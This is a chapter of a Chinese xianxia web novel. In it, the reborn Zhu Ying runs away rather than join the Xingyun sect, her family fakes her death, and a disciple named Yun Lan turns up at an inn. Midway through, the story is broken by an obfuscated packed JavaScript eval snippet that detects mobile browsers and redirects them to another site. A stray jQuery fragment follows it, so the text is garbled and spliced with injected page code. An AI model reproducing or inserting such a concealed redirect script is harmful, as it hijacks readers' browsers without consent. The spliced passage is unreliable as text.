这是祝楹重生后的第三天,她终于接受了这个事实。
低头看着自己完好无损的身体,她还有些不习惯呢。
上一世她死的好惨,作为九州第一宗行云宗的大师姐,同样也被九州称为百年难得一遇的奇才,前期过的顺风顺水,后期却被挖眼睛,被剖心,还断手断脚…这具身体被摧残得千疮百孔,最后承受不住这种磋磨,她死了。
死的时候,她人在冰窟。
行云宗是九州第一宗,弟子们犯了错,会受到各种各样的惩罚。
平时长老师父们说几句,这事便过去了,这是小惩罚,至于冰窟,属于最严厉的惩罚,据说冰窟成立百年,从未有过弟子进去。
祝楹也不知道自己犯了什么错,哦,对了,自从宗门里来了个小师弟后,长老们都偏心他,那位小师弟极会哄人,三言两句把长老们和其他弟子们哄的心花怒放。
起初祝楹也很喜欢这位小师弟,长相白净还乖巧,后来她撞见他偷偷摸摸在长老阁不知道搞什么事情,她揭穿他,他抵死不认,最后的结果是,一向疼爱她的师父让她回屋面壁思过,师尊只轻飘飘来一句“一切听你师父的”。
这只是小惩罚。
后来,小师弟处处跟她作对,颠倒黑白,她解释,宗里的人不信,她甚至开始怀疑,小师弟是不是给他们下了什么迷魂药。
再后来,祝楹的坏名声被破坏的一塌糊涂,她被囚禁在冰窟,直到死,她都不明白自己究竟犯了什么错。
现在她好像明白了,她依旧没错,错的是行云宗那些被猪油蒙了心的人。
好在如今她重生了,重生在未进入行云宗的时候,今年她不过十七岁而已,但她的名字已经在九州传遍了。
原因是她前些日子孤身一人误入鼎雾山,那鼎雾山是什么地方?让九州避之不及的妖窟。
祝楹听了她娘的话,去寺庙求取平安,途径鼎雾山,只是打个盹的功夫,她就进了鼎雾山,车夫和随行的人统统不见踪影。
她在鼎雾山走了几圈,遇到了三个二级小妖,那几个小妖坐在石桌前玩着她看不懂的游戏。
三个小妖挺好,平易近人,热情招待她,并且耐心跟她解释这游戏怎么玩,最后祝楹赢得盆满钵满,其中一个小妖蹭的一下冒出老虎耳朵,坐在地上嚎啕大哭。
“我的钱,我的衣服,我的尾巴毛!!!”
看着她一把鼻涕一把泪的模样,祝楹嘴角抽搐,把赢来的钱还给他们一半。
“你们不是令人闻风丧胆的大妖吗?怎么这么菜?”
老虎小妖的胡须抖了抖,哭声停止:“大妖们说鼎雾山雾气太重,对肺不好,都搬家了,我们因为搬家路程遥远,选择留在这里混一日是一日。”
祝楹挑眉:“搬家?搬哪去了?”
“岁康谷呗,他们说那里的地名好听,能够岁岁平安,健健康康。”另一个豹子小妖接话。
祝楹哦了声,把剩下的钱还给他们,并且嘱咐他们不要擅自离开鼎雾山,外面有很多修仙者,稍不留神就会小命不保。
三个小妖抱在一起瑟瑟发抖,声音奶声奶气,异口同声:“我们一定不出山!”
最后,祝楹拍了拍他们的脑袋,毛发柔软,好rua得很,她美美地离开了鼎雾山。
每日里去寺庙的人很多,有修仙者,还有普通百姓,祝楹出山的时候,恰好被三个大娘看到。
这几个大娘她认得,是城里赫赫有名的爱唠家常,平日里有事没事就喜欢坐在城中的柳树下边嗑瓜子唠家常。
三传三百,三百传三千,三千传……
总之,她的名字传到了行云宗那帮人的耳朵里,当天晚上,她从寺庙回到家,行云宗的弟子通过书就送到了家里。
爹娘和几个叔叔伯伯婶婶姨姨哥哥姐姐弟弟妹妹们坐在大堂,捧着那份通过书看了又看,满意地点了点头。
祝楹玩了一天早已疲倦,那份通过书她看都没看,直接带着贴身丫鬟回了自己的院子,洗漱泡澡,随后躺到床上美美睡觉。
第二天,爹娘才告诉她这件事,问她有什么看法,她当时的回答是——好。
可是现在,她重生了,但回复行云宗的信已经传到了师尊那里,这该如何是好?
祝楹躺在树下的摇椅上,张口吃下莺绿剥好的葡萄,叹了口气。
莺绿道:“姑娘为何叹气?”
祝楹对贴身丫鬟没有任何隐瞒:“想跑路。”
“您的意思是,不想去行云宗?”
“嗯。”
“那就跑路吧。”莺绿放下葡萄,拿着帕子擦了擦手,转身进了屋子。
祝楹:“?”
没过多久,莺绿出来了,她的肩膀上挂了两个包袱,手里还抱着一个大箱子:“走吧姑娘,今日天气正好,适合跑路。”
祝楹:“……”
祝楹觉得自己可能疯了,在房间里留下一封信,带着莺绿马不停蹄离开了祝家山庄。
祝家山庄位居城北偏僻地方,是桃源城最有钱的人家,家里的叔叔伯伯婶婶姨姨哥哥姐姐弟弟妹妹们都是有悟性有灵根的。
桃源城再往北走就是行云宗,也正是有行云宗的庇护,桃源城才做到真真正正的世外桃源城。
重生前,祝楹也是这么认为的。
重生后,她觉得行云宗里面的人就是一群人面兽心的东西,第一宗为什么庇护桃源城?因为城主每隔三个月就会往行云宗运送粮食和衣服,什么有趣的玩意儿都会给行云宗送过去。
都说修仙之人不需要吃东西,可行云宗那帮馋嘴的,还有些天赋不足练了好几年都没练成辟谷的……总而言之,行云宗和桃源城是存在利益关系的。
走了也好,走了也好,之后不用再愁会不会被师父骂,不愁会不会被师尊罚跪,更不愁那位颠倒黑白的小师弟又会把什么祸栽赃在她身上。
***
祝楹一路往南,离开桃源城,途径海洲、云洲、花洲,最后在凤洲落脚。
一路走来,总共消耗两个多月,她在灵宝阁分店买的汗血飞马都快累散架了。
云祥客栈,祝楹把汗血飞马收进储物戒,又给了莺绿一袋子灵石,让她去灵宝阁分店买点上等草料,今晚好好犒劳一下汗血飞马。
“姑娘,您就请好吧!”莺绿接过钱袋子,喜滋滋离开了。
说来也怪,她们赶了这么久的路,她都快累嗝屁了,莺绿却还是那副精神满满的样子。
着实佩服。
祝楹打量几番客栈房间,从包袱里翻出来净化符,念了口诀后,净化符燃烧成灰烬,屋子里比之前更新,更洁净。
她放下心,走到桌前坐下,又从储物戒里拿出通讯工具,这是一个小小的贝壳,里面加了通讯符,可以随时随地跟想联系的人说话。
贝壳在她手心发出忽明忽暗的光,祝楹轻轻点了两下贝壳,十几条消息浮现在空中。
祝城修:闺女,你要是不想去行云宗,你跟我直说就是,跑路干什么?
祝城修:我又给行云宗去了一封信,说你从鼎雾山回来后中邪了,如今灵力全散,不适合修炼。
……
祝城修:完了闺女,行云宗的师尊听说你中邪,连夜赶来要为你把脉治病,为父出于无奈,说你已经去世。
祝城修:……不管你去哪,一定要把自己的身份藏好。
祝楹:?
她只是两天没看通讯贝壳,就出了这么大的事?仔细一看,不是天黑了,而是天塌了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043245|178876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祝家人才倍出,她爹就是其中之一,连“她死了”这种话都说得出来。
再往下翻,她娘和其他人发的消息都非常焦灼,什么行云宗逼迫他们家交出她,什么行云宗的人说他们祝家胆子见长,是不是看不起行云宗……
离谱,非常之离谱,她现在能明白为什么父亲会出这种馊主意,只是为了保全她罢了。
好在祝家根基稳,祖上是经历过仙妖大战的大世家,行云宗只敢阴阳怪气几句,不敢真的动祝家。
仙妖大战,这些都是传闻,祝楹也不知道真假,反正九州的史书上记载着,一千年前,柳、闻人、祝、宋、池,这五大家族的祖上参与了仙妖大战,自此,五大家族的名声在九州一直很高。
这正是祝楹敢跑的原因之一。
她用通讯贝壳给家里人报了平安,随后推开窗子俯瞰这座城。
凤洲的气温比桃源城暖了许多,这里更是比桃源城大了许多,路上来来往往的人和马车,把这条街围的水泄不通,街道两边的小贩不停吆喝,到处都充满人情味。
贝壳嗡嗡震动几声,祝楹点了两下,祝城修的消息再次浮现在空中。
祝城修:一切安好就行,行云宗那边你无须担心,有家里人给你兜底。
祝城修:过段时间各大宗门招收弟子,你若是不愿,就不必参加了。
祝楹:不急,到时候再做打算。
祝城修:其实爹一直疑惑,你从小到大的梦想不是入行云宗吗,怎么这次……
祝楹:九州这么大,我想出来走走,行云宗那么小,还不抵咱们家大呢。
祝城修:……
收到消息的祝城修把这段话给家里的人展示一番。
祝家大长老摸了摸胡须:“我就知道楹楹是个心思通透的,那行云宗在三百年前什么都不是,也不知道怎么突然就崛起了。”
二长老:“行了,谁不知道你跟行云宗的师尊不对付,当年他一剑把你逼出玲珑山的事情,你怀恨在心,屡屡看他不爽。”
大长老:“我认识他的时候,他不过是个十三岁的孩子,跟在我屁股后面求我教他修炼,我探过他的灵根,一无所有,一个没有灵根的人,是怎么做到在一年之内挑战九州各大宗门,之后又迅速创立行云宗的?”
“也许是你探错了。”
“狗屁胡扯!”
一直沉默着的祝城修缓缓开口:“长老的意思是,他练的是邪修?”
吵吵嚷嚷的大堂顿时安静下来,几十道视线齐刷刷看向祝城修。
***
祝楹坐在窗台上看了会风景,直到莺绿的身影进入她的视线,她才收回目光。
楼下,客栈门口忽然传来一道清朗的男声:“敢问掌柜的,此处还招跑堂的吗?”
掌柜:“有是有,不过我这都是些杂活,你做不来的,不如去找找别的干净营生。”
“为何?师父常教导我,天下众生皆平等,不管杂活累活,只要是靠自己双手赚来的银子,都是好活,掌柜的,还请给在下一个机会。”
祝楹看过去,对方一身白衣,手中握着一把折扇,他微微弯腰,态度谦和诚恳。
看来是诚心找营生的。
掌柜的叹了口气:“那就随我来吧,对了,你刚才说师父,公子莫不是是修仙者?”
“不敢不敢,只是拜入宗门罢了,修仙者谈不上。”他唇红齿白,笑起来时,一双狐狸眼漂亮惹人。
掌柜:“敢问是哪家宗门?”
云澜微微一笑:“凤洲最南边,无名宗。”
嚯——
刚才还叽叽喳喳的人群,顿时变得安静。
掌柜脸色突变,一个后退远离他:“无无无,无名宗?”